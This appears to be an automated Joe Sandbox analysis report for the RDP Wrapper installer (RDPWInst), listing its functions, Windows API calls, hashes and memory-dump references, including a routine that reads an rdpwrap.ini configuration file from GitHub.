Instruction ID: 32e31081b98e7b24079041a639207f5f8240b3ca2c27c4b0157ee02f81a1b514
Opcode Fuzzy Hash: 09450458b8d81176c6a50bac5932f2701a5404c96287c680bb229262f5fe89b5
Instruction Fuzzy Hash: 99E0C2A3B4072036F63072AD4C82FAB9158CB867B4F470336FA50FB2D2C0999C0241AC

Function 0040F6C0 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0040F6D4

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 8e9fea90e53bca7412c33d02f8e097722a35645c54a93293cf713adbfc77c375
Instruction ID: 3fe4e569543b3f1381ab86603454923b4de8c4718f21568c98d02def12c07fd2
Opcode Fuzzy Hash: 8e9fea90e53bca7412c33d02f8e097722a35645c54a93293cf713adbfc77c375
Instruction Fuzzy Hash: 42D05BB63082507AD220D55B5C44DAB6BDCDBC5771F10063FB658C31C0D6308C05C275

Function 0043A644 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32 ref: 0043A648

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: f537996a7b7980d49ed43dd1d2441830a107cc63a0e7000c4f47f7a03b218ad6
Instruction ID: fbf5644ea725b9a19c2d11835783dba3dfebd9b236010a27cc61b97838af9c82
Opcode Fuzzy Hash: f537996a7b7980d49ed43dd1d2441830a107cc63a0e7000c4f47f7a03b218ad6
Instruction Fuzzy Hash: 66E086584BC14148C60523354C2F7A32688832A324F4D2923C4D985262E25FC0B77BAF

Function 0040F7C4 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,00447324,0043D137,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F7CF

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b551f2b18252a583477f9e8ccff1f7da88027c1fc4d2758f3b89c6edbf41f201
Instruction ID: dfbd20c989cc919aa742ea809a195094cafabb968b5a4f056a7cb7a67f60922a
Opcode Fuzzy Hash: b551f2b18252a583477f9e8ccff1f7da88027c1fc4d2758f3b89c6edbf41f201
Instruction Fuzzy Hash: F3C08CA03012000AEE30B1BD1DCA80B02884A0D2383A02A37F069F3AD3D23E886F201A

Function 0040FB5C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,00000001,0040F8C6,00000000,0040F8EB,?,00447324,00000000,00000000,00000000,00000000,?,0043D15F,00000000,0043D55E), ref: 0040FB69

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 93014c2a0d15a9f7c19c06a67ffa09c9f03b47d74489f26678219aaa478409b4
Instruction ID: 5428b92e23564d17d1f876684be8f9c2b3243abbeaf0de8523baba27188e832a
Opcode Fuzzy Hash: 93014c2a0d15a9f7c19c06a67ffa09c9f03b47d74489f26678219aaa478409b4
Instruction Fuzzy Hash: 40B092927543401AEA0035FA0CC6F2A418CD70960AF110C3ABA42E7183D47FC8290026

Function 00409310 Relevance: 1.3, APIs: 1, Instructions: 57stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,00000000,?,00000000,004093AD,?,?,?,00000000), ref: 0040937A

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn
String ID:
API String ID: 97706510-0
Opcode ID: f92199f7e57e2128dd250d54d35a9e3758d953fbac64912c85fa78ba761ebe9f
Instruction ID: 1f383253a52e48d77bc15eb4822a33d834d352bf49a326ca98ed7cc47a11fc89
Opcode Fuzzy Hash: f92199f7e57e2128dd250d54d35a9e3758d953fbac64912c85fa78ba761ebe9f
Instruction Fuzzy Hash: 0111C671504204EFDF21DB69CC86B9A77F8EB19754F5100BAFC40AB2D2D7B8AD008A19

Function 00402AB2 Relevance: 1.3, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 00402AE3
VirtualQuery.KERNEL32(?,?,0000001C), ref: 00402B06
VirtualFree.KERNEL32(?,00000000,00008000,?,?,0000001C), ref: 00402B13

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Virtual$Free$Query
String ID:
API String ID: 778034434-0
Opcode ID: d2902ee949b2c85551e00087902fb7701d80a0372c0c987194a01e681a746040
Instruction ID: e8ddcf902efd7f78c833b1da2340b8221ccc6e4d64c13544335dcfda98f803ee
Opcode Fuzzy Hash: d2902ee949b2c85551e00087902fb7701d80a0372c0c987194a01e681a746040
Instruction Fuzzy Hash: 0CF06D343046005FD311CB19CA89B17BBE5EFC9350F15C17AE988973E5E675DC019B9A

Non-executed Functions

Function 0043CF60 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(RDP Wrapper Update,00000000,00000000,00000000,00000000), ref: 0043CF9B
InternetOpenUrlW.WININET(00000000,https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini,00000000,00000000,80000000,00000000), ref: 0043CFB7
InternetCloseHandle.WININET(00000000), ref: 0043CFC3
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0043CFDB
InternetCloseHandle.WININET(00000000), ref: 0043D002
InternetCloseHandle.WININET(00000000), ref: 0043D008

Strings

https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini, xrefs: 0043CFB1
$sD, xrefs: 0043D01E, 0043CFE6, 0043CFF3
RDP Wrapper Update, xrefs: 0043CF96

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: $sD$RDP Wrapper Update$https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini
API String ID: 4294395943-3115740878
Opcode ID: 0dd60196e7cab0bfb1fb3172ef56b337b41d75a0cde3163acb5471a059a842a1
Instruction ID: c5d90ac50beae541ecf0d1101a3828864360ef58c633fc88e2a86ac238cf1af1
Opcode Fuzzy Hash: 0dd60196e7cab0bfb1fb3172ef56b337b41d75a0cde3163acb5471a059a842a1
Instruction Fuzzy Hash: B611EC30A40204BAE725DB629C52F5E73B99B5CB08F21907AF500B61C1DAFC6D15965E

Function 00408EB9 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 81stringfileCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408E8B
FindFirstFileW.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408E9E
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408EB4
lstrlenW.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408EC0
lstrcpynW.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?), ref: 00408EFC
lstrlenW.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?), ref: 00408F08
lstrcpynW.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 00408F2B

Strings

\, xrefs: 00408ED2

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$CloseFileFirst
String ID: \
API String ID: 426534248-2967466578
Opcode ID: c2c22b4f6afaac3322ec1ba7b89a81b7c1940998765c8b0d5641ec05d20bdfa1
Instruction ID: b362d454dc0c99aa6135db0f351dbab6b5904c2f5f97e8c1ae29e40b3cae7ae2
Opcode Fuzzy Hash: c2c22b4f6afaac3322ec1ba7b89a81b7c1940998765c8b0d5641ec05d20bdfa1
Instruction Fuzzy Hash: 2921DA72A005195BCB10EAA4CD89BEF736DEB84314F0845BBA554E32C1EA7CEA458B58

Function 00408908 Relevance: 4.6, APIs: 3, Instructions: 100COMMON

Download Yara Rule

APIs

IsValidLocale.KERNEL32(?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089B4
GetLocaleInfoW.KERNEL32(00000000,00000059,?,00000055,?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089D0
GetLocaleInfoW.KERNEL32(00000000,0000005A,?,00000055,00000000,00000059,?,00000055,?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089E1

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$Info$Valid
String ID:
API String ID: 1826331170-0
Opcode ID: 22c6a01b53f4869b0805d6a69e827c795f3fdd97ab41ae37c19bcf7436934d77
Instruction ID: a5145651339b4fb3455c536bf826b1f6d015bb6bedb64d7d22cca76e959b3329
Opcode Fuzzy Hash: 22c6a01b53f4869b0805d6a69e827c795f3fdd97ab41ae37c19bcf7436934d77
Instruction Fuzzy Hash: 4031C274A00618ABDF20EB55DD81BAF77B5EB44700F1040BBA588B72D1DA7D5E40CF5A

Function 00414698 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?,00443136,00000000,0044315A), ref: 004146A6

Strings

8[D, xrefs: 004146EC

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Version
String ID: 8[D
API String ID: 1889659487-4257705004
Opcode ID: 4c73b04ee2d3421a5135ac7becaf35c551135d218803d44854ea7cc165e5ef2a
Instruction ID: 2f0940f951a798b0a8c1b92e6229d48fd5c0b6d32f60b1d075f360ba34157daa
Opcode Fuzzy Hash: 4c73b04ee2d3421a5135ac7becaf35c551135d218803d44854ea7cc165e5ef2a
Instruction Fuzzy Hash: 7DF030B8605B419FDB00DF18E845659B7E0EB89314F00483AF485D7391D738A844CB6E

Function 0040F73C Relevance: 3.0, APIs: 2, Instructions: 23fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,?,0040F7B7,00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000), ref: 0040F757
FindClose.KERNEL32(00000000,00000000,?,00000000,?,0040F7B7,00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000), ref: 0040F762

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 8349d8abcabe035f766b9fd57bf523843a29f3c72d549b36151af9bdffc9284f
Instruction ID: 44d6f2536772e544dca19d4554f13a915e571bc99722c0a0b507a91726501656
Opcode Fuzzy Hash: 8349d8abcabe035f766b9fd57bf523843a29f3c72d549b36151af9bdffc9284f
Instruction Fuzzy Hash: B9E0CD6261470815C72065B90CC9B5B728C5B04328F040BB77D5CF35D2FA3D8554115F

Function 0040FAE8 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?), ref: 0040FB09

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 061f37ac546520710da28799b67137028b65efc101c0d4d81ccfdcd92c7e26f4
Instruction ID: 58712635a06311b99fbeb36610203dfa2cb34c225fc8d295b9fe620e031658d4
Opcode Fuzzy Hash: 061f37ac546520710da28799b67137028b65efc101c0d4d81ccfdcd92c7e26f4
Instruction Fuzzy Hash: DC1112B5E00209AFDB04CF99C881DAFF7F9EFC8304B14C569A508E7254E6319A018B90

Function 00412C4C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7e0a8c61708f8e5fe9311120f60f8f5fdb241708797c452f410103c20568c8cd
Instruction ID: 9da8dff9c55e20549594a614ff7d844013acaeb15ab394cddf5a90cc700bc9e0
Opcode Fuzzy Hash: 7e0a8c61708f8e5fe9311120f60f8f5fdb241708797c452f410103c20568c8cd
Instruction Fuzzy Hash: 69E0927170021817E314A5695C86DEB725C9B58300F00417FBA06D7387EDB89D6046ED

Function 00412C4A Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ab3a7bc9c987a33d67a9bd60b42fd60c334eb7a711f5428dc5487131ec69b403
Instruction ID: 70141b24f99fd98ac1db3019ee377dee0462c825b9fd2fb3f3473e8324f2be5c
Opcode Fuzzy Hash: ab3a7bc9c987a33d67a9bd60b42fd60c334eb7a711f5428dc5487131ec69b403
Instruction Fuzzy Hash: 01E0DF3270031827F31495689D86EFB729C9B58300F00427BBE06D3382FDB49DA046E9

Function 00412C98 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0041524C,00000000,00415476,?,?,00000000,00000000), ref: 00412CAB

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c8c474e4d6c9df360d6374c6a6ae5d3dec4118d646be2418b28a4789b35754d1
Instruction ID: c0299d43d85d1b47cbbe3802d462e1d0899c6c80b318dcec9f9e75b03fa43e2d
Opcode Fuzzy Hash: c8c474e4d6c9df360d6374c6a6ae5d3dec4118d646be2418b28a4789b35754d1
Instruction Fuzzy Hash: 17D05EB63092202AE210525B6E45DBF56DCCBC87A2F10443BBA48C6242E268CC5693F9

Function 00411154 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00411158

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: e8d3b386f6a7d5cca3471eaf155d8864694d2401fe0684cb90b003475a380097
Instruction ID: 9e8cd4c1e66a35051b5eb1694121f13696e39ccab0ec977751e8beb904ec194d
Opcode Fuzzy Hash: e8d3b386f6a7d5cca3471eaf155d8864694d2401fe0684cb90b003475a380097
Instruction Fuzzy Hash: D1A0110080882002C2803B2A0C032383080A800A30FC80BAAB8F8A02E2EA2E023088AB

Function 00417D30 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(oleaut32.dll), ref: 00417D39

Part of subcall function 00417D04: GetProcAddress.KERNEL32(00000000), ref: 00417D1D

Strings

VarSub, xrefs: 00417D9F
VarBstrFromDate, xrefs: 00417EFF
oleaut32.dll, xrefs: 00417D34
VarMod, xrefs: 00417DF7
VarR8FromStr, xrefs: 00417E91
VariantChangeTypeEx, xrefs: 00417D47
VarOr, xrefs: 00417E23
VarCmp, xrefs: 00417E4F
VarIdiv, xrefs: 00417DE1
VarXor, xrefs: 00417E39
VarDiv, xrefs: 00417DCB
